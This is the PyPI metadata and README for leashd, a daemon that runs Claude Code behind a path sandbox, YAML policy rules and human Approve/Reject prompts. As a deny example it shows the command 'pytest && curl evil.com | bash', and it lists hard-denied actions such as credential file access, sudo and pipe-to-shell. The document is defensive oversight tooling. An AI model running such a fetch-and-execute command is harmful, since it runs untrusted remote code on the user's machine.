Metadata-Version: 2.5
Name: leashd
Version: 2.3.0
Summary: Run Claude Code as a governed daemon: a real claude TUI in tmux behind a sandbox, YAML policies and human-in-the-loop approval
Project-URL: Homepage, https://github.com/vmehera123/leashd
Project-URL: Repository, https://github.com/vmehera123/leashd
Project-URL: Documentation, https://github.com/vmehera123/leashd/tree/main/docs
Project-URL: Changelog, https://github.com/vmehera123/leashd/blob/main/CHANGELOG.md
Project-URL: Issues, https://github.com/vmehera123/leashd/issues
Author: Vladyslav Mehera
License-Expression: Apache-2.0
License-File: LICENSE
Keywords: agentic-coding,ai-agents,ai-governance,ai-safety,audit-trail,automation,claude-code,coding-agent,developer-tools,devops,e2e-testing,human-in-the-loop,playwright,policy-engine,safety-guardrails,sandbox,telegram-bot,tmux,yaml-policy
Classifier: Development Status :: 5 - Production/Stable
Classifier: Environment :: Console
Classifier: Environment :: No Input/Output (Daemon)
Classifier: Framework :: AsyncIO
Classifier: Intended Audience :: Developers
Classifier: Intended Audience :: Information Technology
Classifier: Intended Audience :: System Administrators
Classifier: License :: OSI Approved :: Apache Software License
Classifier: Operating System :: OS Independent
Classifier: Programming Language :: Python :: 3
Classifier: Programming Language :: Python :: 3.10
Classifier: Programming Language :: Python :: 3.11
Classifier: Programming Language :: Python :: 3.12
Classifier: Programming Language :: Python :: 3.13
Classifier: Topic :: Security
Classifier: Topic :: Software Development :: Build Tools
Classifier: Topic :: Software Development :: Quality Assurance
Classifier: Topic :: Software Development :: Testing
Classifier: Topic :: System :: Systems Administration
Classifier: Typing :: Typed
Requires-Python: >=3.10
Requires-Dist: aiosqlite>=0.20.0
Requires-Dist: fastapi>=0.115.0
Requires-Dist: libtmux<0.56,>=0.55
Requires-Dist: pydantic-settings>=2.13.1
Requires-Dist: pydantic>=2.12.5
Requires-Dist: python-dotenv>=1.2.1
Requires-Dist: python-telegram-bot>=22.6
Requires-Dist: pywebpush>=2.0.0
Requires-Dist: pyyaml>=6.0.3
Requires-Dist: structlog>=25.5.0
Requires-Dist: uvicorn[standard]>=0.34.0
Requires-Dist: watchdog>=4.0
Description-Content-Type: text/markdown

<h1 align="center">leashd</h1>

<p align="center"><b>Run Claude Code as a daemon. Drive it from your phone. Keep a leash on it.</b></p>

<p align="center">
<a href="https://pypi.org/project/leashd/"><img src="https://img.shields.io/pypi/v/leashd.svg" alt="PyPI"></a>
<a href="https://www.python.org/downloads/"><img src="https://img.shields.io/badge/python-3.10%2B-blue.svg" alt="Python 3.10+"></a>
<a href="#development"><img src="https://img.shields.io/badge/coverage-89%25%2B-brightgreen.svg" alt="Coverage 89%+"></a>
<a href="#status"><img src="https://img.shields.io/badge/status-stable-brightgreen.svg" alt="Status: Stable"></a>
<a href="LICENSE"><img src="https://img.shields.io/badge/license-Apache%202.0-blue.svg" alt="License"></a>
</p>

---

leashd is a background daemon that runs Claude Code on your dev machine and puts a **three-layer safety pipeline** in front of every tool call it makes: a path sandbox, YAML policy rules, then you. Risky actions arrive as **Approve / Reject** buttons — in your browser, or on your phone's lock screen.

The point is that you can walk away from the keyboard. Kick off a task from the built-in Web UI, close the laptop, and approve the `git push` from the bus.

```
you, on your phone                        your dev machine
──────────────────                        ────────────────
"/task add rate limiting"  ──────────▶    leashd daemon
                                               │
                                          ┌────▼─────┐
                                          │ sandbox  │  outside approved dirs? blocked
                                          │ policy   │  YAML: allow / deny / ask
                                          │ approval │  ─────────┐
                                          └────┬─────┘           │
                                               │                 ▼
                                          claude agent    📱 "Run `git push origin
                                          reads, writes,      feat/rate-limit`?"
                                          runs your tests     [Approve] [Reject]
                                               │
   "✅ PR #482 opened"     ◀───────────────────┘
```

Everything lands in an append-only audit trail. Nothing gets past the hard-deny floor — credentials, `sudo`, force push, pipe-to-shell — no matter what you or the agent approve. A recursive delete is one step below it: it always asks, because in practice the agent is clearing its own `__pycache__`.

---

## Why leashd

- **It's a real `claude` TUI, not a wrapper.** leashd drives an interactive Claude Code session in a tmux pane and bridges it to chat — so you get the actual CLI's behavior, models, subagents and native slash commands (`/model`, `/compact`, `/context`), with every tool call still routed back through leashd's gatekeeper via `PreToolUse` hooks.
- **Approvals that reach you anywhere.** The Web UI is a PWA. Install it on your home screen and approvals arrive as push notifications with the browser closed. `leashd webui tunnel` exposes it over ngrok / Cloudflare / Tailscale in one command.
- **Policy you can actually read.** Safety is a YAML file, not a prompt. Compound commands are split and evaluated segment-by-segment, deny-wins — `pytest && curl evil.com | bash` is denied.
- **Autonomous when you want it.** `/task` implements, runs your tests, reviews the diff and, when the change is visible in a running app, drives a real browser against it. It stops for the hard-deny floor and escalates instead of looping.
- **Local by default.** No account, no third-party service. `localhost`, a SQLite file, and your own API auth.

---

## Install

```bash
uv tool install leashd     # or: pip install leashd
leashd init                # wizard: approved dirs, Web UI key + port
leashd start               # daemon starts in the background
```

Open `http://localhost:8080`, enter your API key, and send something like *"Add a health check endpoint to the FastAPI app"*.

**Prerequisites** — Python 3.10+, `tmux`, and the [Claude Code CLI](https://docs.anthropic.com/en/docs/claude-code) 2.1.259+ authenticated (`claude` works in your terminal).

<details>
<summary><b>PWA, phone access, Telegram</b></summary>

**Install as a PWA** — in Chrome or Safari, tap "Add to Home Screen" (mobile) or "Install" (desktop) for a standalone app with push notifications.

**Access from your phone:**

```bash
leashd webui tunnel                          # ngrok (default)
leashd webui tunnel --provider cloudflare    # Cloudflare Tunnel
leashd webui tunnel --provider tailscale     # Tailscale Funnel
```

The tunnel is a child of the daemon and stops when it does. When it's up, your `LEASHD_WEB_API_KEY` is the only thing between the internet and your machine — pick a strong one. Failed auth is rate-limited (5 failures → 60s lockout).

**Telegram instead of (or alongside) the Web UI:**

1. Message **@BotFather**, send `/newbot`, copy the token.
2. Message **@userinfobot** for your numeric user ID.
3. Set both and restart:

```env
LEASHD_TELEGRAM_BOT_TOKEN=123456:ABC-DEF1234ghIkl-zyx57W2v1u123ew11
LEASHD_ALLOWED_USER_IDS=981234567
```

Both connectors run at once on the same engine — start a task in the browser, watch it from your phone.

</details>

---

## Safety

Every tool call the agent makes passes through three layers before it can execute.

| Layer | What it does |
|---|---|
| **1. Sandbox** | The agent can only touch files inside `LEASHD_APPROVED_DIRECTORIES`. Traversal attempts are blocked and logged as security violations. |
| **2. Policy** | YAML rules classify each call as `allow` / `deny` / `require_approval` by tool name, command pattern, and path pattern. First match wins. Compound bash is split on `&&`, `||`, `;` and evaluated per segment, deny-wins. |
| **3. Approval** | `require_approval` sends an inline **Approve / Reject** to the Web UI or Telegram. No response within the timeout → denied. |

The pipeline is connector-agnostic: same sandbox, same rules, same buttons whether you're in the browser or on your phone. Every attempt and decision is appended to `.leashd/audit.jsonl`.

The gate fails closed. If a tool call cannot reach leashd, for example while the daemon restarts, it waits up to 60 seconds for an answer and is denied if none comes. A call that still finishes without a verdict is written to the audit log as `tool_ran_ungated`, so `grep tool_ran_ungated .leashd/audit.jsonl` should always print nothing.

**Five policies ship in `policies/`:**

| Policy | Auto-allows | Requires approval |
|---|---|---|
| **`default.yaml`** *(recommended)* | reads, search, read-only shell (`ls`, `grep`, `ps`, `awk`, `git log/diff`, `docker ps/logs`, reads inside `docker exec`, `gh pr/run view`, `--version`), `git fetch`, `git add`, `mkdir`, loopback GETs, linters/formatters/type checkers (`ruff`, `mypy`, `tsc`, `pnpm lint`, `make check` …), read-only browser | git push/rebase/merge, network, browser mutations |
| **`strict.yaml`** | `Read`, `Glob`, `Grep`, `LS` only | everything else (2-min timeout) |
| **`permissive.yaml`** | reads, writes, package managers, test runners, `git add/commit/stash`, all browser | git push, network, browser cookies/auth/storage, anything unlisted (10-min timeout) |
| **`dev-tools.yaml`** *(overlay)* | linters, test runners, package managers | — |
| **`autonomous.yaml`** | writes, tests, linters, package managers, safe git, `gh pr` | feature-branch push, network, browser mutations (a human in chat; allowed inside `/task`) |

All five sit on top of a **hard-deny floor**: credential files, `sudo`, force push, push to main/master, pipe-to-shell, `chmod 777`, SQL `DROP`/`TRUNCATE`. `rm -rf` sits just under it as `require_approval` — it can never run unattended, but you can wave it through instead of losing the turn.

> Deny patterns match what the shell will *execute*, quoting respected — including a payload handed to `bash -c` or `eval`. `grep "rm -rf" tests/` is a search, not a destructive command, and is not blocked.

> **File edits are not a policy rule.** They belong to the active mode: `/auto` runs them, `/edit` accepts them, `/default` prompts, `/plan` blocks them. The policy is the guardrail layer that applies on top in *every* mode.

```env
LEASHD_POLICY_FILES=policies/strict.yaml
LEASHD_POLICY_FILES=policies/default.yaml,policies/my-overrides.yaml   # merged, in order
```

---

## The tmux runtime

leashd spawns a real interactive `claude` TUI in a tmux pane and talks to it the way a human would — so native slash commands pass straight through from chat, dialogs the CLI opens (model picker, consent prompts) get bridged to inline buttons, and `/screen` gives you a live snapshot of the terminal. Tool calls are intercepted by Claude Code `PreToolUse` hooks and routed back into leashd's gatekeeper, so nothing escapes the pipeline.

**Background subagents stay visible.** Claude can start subagents in the background and end its turn while they work. The chat then shows one line under the last reply until they report back, and Claude's follow-up arrives as a normal reply:

```
⏳ 2 background agents are still working: Audit the API routes, Check test coverage. Claude replies here when they report back.
```

**Restarting is safe.** tmux panes live on a tmux server of their own, so `leashd restart` — to pick up a fix, a config change, a new build — no longer ends the work in them. The daemon writes what it needs to find each pane again, leaves them running on the way out, and re-adopts them on the way in: same conversation, same session, same directory. A turn that was still running keeps streaming into the chat where it left off, and a Telegram message you send during the restart runs once the daemon is back. `leashd stop --end-agents` ends them instead. See [docs/agents.md](docs/agents.md#restarting-without-losing-work).

**Adding a runtime** — the runtime registry (`agents/registry.py`) is kept for that: register a factory and select it with `LEASHD_AGENT_RUNTIME`. Embedders can also pass any `BaseAgent` to `build_engine(agent=...)` to put their own agent behind the same pipeline.

---

## Autonomous mode

`/task <description>` hands the whole thing over. The orchestrator runs a linear pipeline, one fresh Claude session per phase:

```
/task "Add health check endpoint"
        │
        ├─ implement ─── Claude's native `auto` permission policy;
        │                every tool still gated by the hook pipeline
        │
        └─ verify ────── your checks (make check / pytest / npm test)
                       + a diff review (Claude's `code-review` skill)
                       + a real browser pass when the change is visible in a
                         running app (agent-browser: a11y, console,
                         network 4xx/5xx, screenshots)
        │
        ▼
   done — or an escalation message if it gets stuck
```

Task memory lives in `.leashd/tasks/<run_id>.md` and survives daemon restarts. When a phase burns its retry budget the orchestrator escalates to you instead of looping. Add a read-only review phase with `/task --phases implement,verify,review`, or per project in `.leashd/task-config.yaml`.

Inside a `/task` run, **`require_approval` calls run without asking** — nobody is there to tap. The sandbox and the hard-deny floor still apply and can't be overridden, so pick the policy you run tasks under accordingly.

```bash
leashd orchestrator enable    # turns on /task
leashd orchestrator show      # status + active policy
```

---

## Interfaces

### Web UI

The primary interface — a full chat client on `localhost` with zero external dependencies.

- **Real-time streaming** over WebSocket, with a live tool indicator (`🔧 Bash: pytest tests/`) and a `🧰 Bash ×3, Read, Glob` summary when the turn lands
- **Inline approvals and question modals**, identical to Telegram
- **Push notifications** — Web Push on your lock screen with the browser closed; in-page chime and tab-title flash when backgrounded; optional Telegram cross-notification with deep links
- **Installable PWA** with proper safe-area handling on notched devices
- **Seamless reconnection** — pending approvals, questions and in-progress drafts survive a reconnect; a 120s grace period carries sessions through sleep/wake; instant reconnect on phone unlock
- **27 color themes** (Dracula, Monokai, Catppuccin, Nord, Synthwave, Matrix, …), each with dark and light variants
- **Conversation tabs and history**, searchable
- **Directory and workspace switching** without slash commands
- **Settings page** for model, effort, max turns, themes
- **File attachments** — drag-and-drop photos, screenshots and PDFs, threaded to the agent with vision
- **Mobile-tuned input** — Enter inserts a newline, Send submits, so multi-line prompts work on a phone keyboard

Full guide: [docs/webui.md](docs/webui.md).

### Telegram

Same engine, same sessions, native chat app. Agent Markdown renders properly — headings, bold, lists, code fences, tables. Approvals, questions and plan reviews all arrive as inline buttons.

### Multiple conversations in one chat

The Web UI has always had conversation tabs. `/session` gives a Telegram chat the same thing — several independent conversations, each with its own agent, working directory, mode and history:

```
/session              # list them, with buttons to switch
/session new ~/api    # open another (up to 9)
/session 2            # switch to #2
/session kill 2       # terminate #2
```

Switching pauses nothing — a conversation you leave keeps working. What it stops doing is writing into the chat, so two agents can't interleave into one message stream. Instead you get a one-line notice with an **Open** button: `#2 replied` when its turn lands, `#2 is waiting on you` when it hits an approval, a question or a plan review. **The prompt itself is held and rendered under #2 when you open it**, so it is always read in the conversation that raised it rather than pasted under the one you happen to be looking at. Walking away from a prompt you have not answered takes it back down with you and reissues it when you return.

Each conversation names itself, so several in the same repo stay tell-apart: the list, the switch banner and the notices read `#2 · Login test fix · api` rather than `#2 · api`. The name starts as the first line of your first message and becomes Claude Code's own session title as soon as it writes one. `/clear` drops it.

Conversation #1 is the chat itself, so nothing changes about an existing chat until you open a second one — and for the same reason it is the one conversation with no `✕`. There is no slot to free: `/session kill 1` stops its agent and clears its history, like `/clear`, and it stays on the list.

### CLI

No Web UI and no Telegram token? leashd falls back to a local REPL:

```bash
leashd start -f
# > type your prompts here
```

Approval-gated actions are auto-denied here — there's no UI to approve from.

---

## Commands

Available in both the Web UI and Telegram.

| Command | Description |
|---|---|
| `/task <description>` | Autonomous: implement → verify, plus an opt-in review |
| `/goal <condition>` | Set a completion condition the agent works toward across turns until a fast model confirms it's met |
| `/web <instruction>` | Autonomous web automation with content-level human approval |
| `/plan <text>` | Plan mode — agent proposes, you approve before execution |
| `/edit <text>` | Edit mode — direct implementation |
| `/auto <text>` | Auto mode — Claude's native auto permission policy; leashd intercepts escalations |
| `/default` | Back to balanced default mode |
| `/session` | Several conversations in one chat. `/session new [dir]` opens one, tap to switch, `✕` terminates |
| `/dir` | Switch working directory (inline buttons). Blocked while an agent is running |
| `/ws` | Manage workspaces inline. Blocked while an agent is running |
| `/git <subcommand>` | Full git suite: status, branch, checkout, diff, log, add, commit, push, pull |
| `/file <path>` | Send a real file from an approved directory to the chat (globs work) |
| `/screen` | Snapshot of the live `claude` terminal |
| `/stop` | Stop all ongoing work without resetting the session |
| `/resume` | Reattach a conversation dropped by a timeout, interrupt, or `/stop`. `/resume <message>` does both at once |
| `/cancel` | Cancel the active task in this chat |
| `/tasks` | List active and recent tasks for this chat |
| `/plugin` | Manage Claude Code plugins mid-session |
| `/status` | Current session, mode, and directory |
| `/clear` | Clear history, cancel active tasks, start fresh |

Claude's own slash commands (`/model`, `/compact`, `/context`, `/cost`, `/help`, …) pass straight through to the TUI, and any dialog they open is bridged to inline buttons.

---

## Browser automation

Two backends power `/web` and the `/task` verify pass, both gated by the same safety pipeline:

| Backend | Install | Best for |
|---|---|---|
| [agent-browser](https://github.com/vercel-labs/agent-browser) *(default)* | `npm i -g agent-browser && agent-browser install` | Fast Rust CLI, accessibility-tree snapshots with deterministic refs (`@e1`), headless by default, cloud providers + iOS Simulator |
| [Playwright MCP](https://github.com/playwright-community/mcp) *(optional)* | Node.js + `npx playwright install chromium` | MCP-native tooling |

agent-browser browsing runs without asking by default (`leashd browser auto-approve off` to tap for each step). `auth` / `cookies` / `storage` / `clipboard` stay policy-gated and are never auto-approved. `/web` sessions checkpoint their progress, so a crash mid-workflow resumes instead of restarting.

See [docs/browser-testing.md](docs/browser-testing.md) for Chrome profile paths, the full tool reference, and policy details.

---

## Workspaces

Group related repos so the agent gets multi-repo context across all of them at once. `CLAUDE.md` files from every workspace directory are loaded, and the system prompt includes the multi-repo context.

```bash
leashd ws add my-saas ~/src/api ~/src/web
leashd ws show my-saas
```

---

## Configuration

leashd is configured through CLI commands — run `leashd init` once, then use subcommands. Config resolves in layers, each overriding the last:

```
~/.leashd/config.yaml   ← global base (managed by leashd init / CLI)
.env in your project    ← per-project overrides
environment variables   ← highest priority
```

All settings are env vars prefixed with `LEASHD_`. See [docs/configuration.md](docs/configuration.md) for the full 40+ setting reference.

<details>
<summary><b>CLI reference</b> — daemon, dirs, model, Web UI, browser, plugins, skills, workspaces</summary>

```bash
# Daemon
leashd start              # background
leashd start -f           # foreground (debugging)
leashd status / stop / restart
leashd stop --end-agents  # stop, and end the running agents too
leashd reload             # reload config without restart (SIGHUP)
leashd version

# Setup and inspection
leashd init               # first-time wizard
leashd config             # resolved config, all layers merged
leashd clean              # remove runtime artifacts

# Approved directories
leashd add-dir /path/to/project
leashd remove-dir /path/to/project
leashd dirs

# Model
leashd model show / set <opus|sonnet|claude-…> / clear

# Task orchestrator
leashd orchestrator enable / disable / show
leashd run "fix the flaky login test"   # submit a /task and block until it finishes

# Web UI
leashd webui show / enable / disable / url
leashd webui tunnel [--provider ngrok|cloudflare|tailscale]

# Browser
leashd browser show
leashd browser set-backend agent-browser
leashd browser set-profile ~/.leashd/browser-profile
leashd browser clear-profile
leashd browser headless
leashd browser auto-approve off  # tap for each agent-browser step (on by default)

# Trusted SSH hosts
leashd ssh trust build-box            # read-only commands on the host run without asking
leashd ssh trust build-box --full     # every command on the host runs without asking
leashd ssh untrust build-box
leashd ssh show

# Agent tuning
leashd effort show / set <low|medium|high|xhigh|max>    # default: medium
leashd turns show / set <N>                              # default: 120
leashd tool-calls show / set <N>                         # -1 for unlimited

# Plugins and skills
leashd plugin list / add <source> / remove <name> / enable <name> / disable <name>
leashd skill list / add skill.zip / remove <name> / show <name>

# Workspaces
leashd ws add my-saas ~/src/api ~/src/web
leashd ws list / show <name>
leashd ws remove <name> [dir]

# Workflows (YAML playbooks in .leashd/workflows/ or ~/.leashd/workflows/)
leashd workflow list / show <name>
```

Plugins can also be managed mid-session with the `/plugin` chat command — no restart needed. Max turns and effort are also editable from the Web UI Settings page.

</details>

<details>
<summary><b>Storage, streaming, logging</b></summary>

**Sessions** live in a centralized SQLite database at `~/.leashd/messages.db` and persist across daemon restarts — the agent remembers context between sessions, and every message carries cost, duration and session metadata. Centralizing it is what keeps concurrent Web UI and Telegram sessions from racing. For dev/testing: `LEASHD_STORAGE_BACKEND=memory`.

**Streaming** is on by default in both interfaces. Disable with `LEASHD_STREAMING_ENABLED=false`.

**Logging** uses [structlog](https://www.structlog.org/); file logging (JSON, rotating) is on by default at `~/.leashd/logs`.

```env
LEASHD_LOG_LEVEL=DEBUG     # full trace including policy decisions
LEASHD_LOG_LEVEL=INFO      # default — operational events
LEASHD_LOG_DIR=~/.leashd/logs
```

The `INFO` event sequence for one request:

```
engine_building → engine_built → daemon_starting → session_created →
request_started → agent_execute_started → agent_execute_completed →
request_completed
```

</details>

---

## Architecture

The **Engine** receives messages from connectors, runs them through middleware (auth, rate limiting), delegates to the tmux runtime, and sends responses back. The **MultiConnector** routes by `chat_id` so the Web UI and Telegram share one engine — sessions, approvals and task state are unified. Every tool call is intercepted by the **Gatekeeper**, which orchestrates the three-layer pipeline. An **EventBus** decouples subsystems — plugins subscribe to `tool.allowed`, `tool.denied`, `approval.requested`, `task.submitted`. The **TaskOrchestrator** runs the implement → verify pipeline with persistent task memory.

```
Web UI connector ────┐
                     ├─▶ MultiConnector (chat_id routing)
Telegram connector ──┘         │
                          Middleware (auth, rate limit)
                               │
                            Engine ──── EventBus ──── TaskOrchestrator (implement → verify)
                               │                       TaskMemory
                          tmux runtime (claude TUI)
                               │
                          Gatekeeper ──────────────────────────────┐
                               │                                   │
                          PreToolUse hooks              1. Sandbox check
                               │                        2. Policy rule match
                               └── tool call ──────────▶ 3. Human approval
```

Deeper detail in [docs/index.md](docs/index.md).

---

## Development

```bash
git clone git@github.com:vmehera123/leashd.git && cd leashd
uv sync

make check                     # lint + format + mypy + unit tests
uv run pytest tests/ -v
uv run pytest --cov=leashd tests/

uv run playwright install chromium   # one-time
make check-all                       # = make check + E2E (Playwright vs the WebUI)
```

CI runs unit and E2E separately so Playwright setup issues don't block unit results.

---

## Status

leashd is **stable**: the config schema and CLI follow semantic versioning, so breaking changes land only in a major release. The core (daemon, safety pipeline, Web UI, Telegram, policy engine, task orchestrator, tmux runtime) is tested at 89%+ coverage. Not recommended where an agent action could be irreversible without review.

Recent releases are in [CHANGELOG.md](CHANGELOG.md). Bugs and ideas: [open an issue](https://github.com/vmehera123/leashd/issues).

## License

[Apache 2.0](LICENSE)
